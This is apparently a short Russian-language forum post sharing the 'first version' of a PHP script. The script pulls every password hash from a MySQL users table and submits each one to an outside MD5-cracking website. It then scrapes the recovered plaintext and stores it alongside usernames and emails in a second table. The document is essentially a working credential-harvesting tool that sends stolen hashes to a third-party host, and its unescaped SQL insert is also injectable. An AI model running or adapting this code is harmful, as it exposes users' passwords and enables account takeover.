первая версия)
Код:
<?
$base_name="localhost";
$base_user="w0a";
$base_pass="";
$db_name="w0a";
@ $data = mysql_connect($base_name, $base_user, $base_pass);
@ $data = mysql_connect($base_name, $base_user, $base_pass);
if(!$data)
{
die();
}
mysql_select_db($db_name,$data);
mysql_query("SET NAMES utf8");
$submit_url = "http://www.passcracking.ru/index.php";
$start_time = time();
include "ps.php";
$snoopy = new Snoopy;
$submit_vars["admin"] = "false";
$submit_vars["admin2"] = "77.php";
$get_users = mysql_query("SELECT * FROM users ORDER by level desc");
while ($UsersArray = mysql_fetch_assoc($get_users))
{
$hash = $UsersArray['pass'];
$submit_vars["datafromuser"] = $hash;
$snoopy->submit($submit_url,$submit_vars);
$get_page = $snoopy->results;
$s = '<td>md5 Database</td><td>'.$hash.'</td><td bgcolor=#FF0000>';
if (substr_count($get_page, $s) > 0)
{
$get_title = explode('<td>'.$hash.'</td><td bgcolor=#FF0000>', $get_page);
$get_user = explode('</td>', $get_title['1']);
$user_name = $get_user['0'];
echo date("H:i:s")." ".$UsersArray['user']." [".$UsersArray['level']."] pass is = ".$user_name."\n";
mysql_query("
INSERT INTO
users_2
SET
user = '".$UsersArray['user']."',
pass = '".$user_name."',
mail = '".$UsersArray['email']."'
");
}
}
?>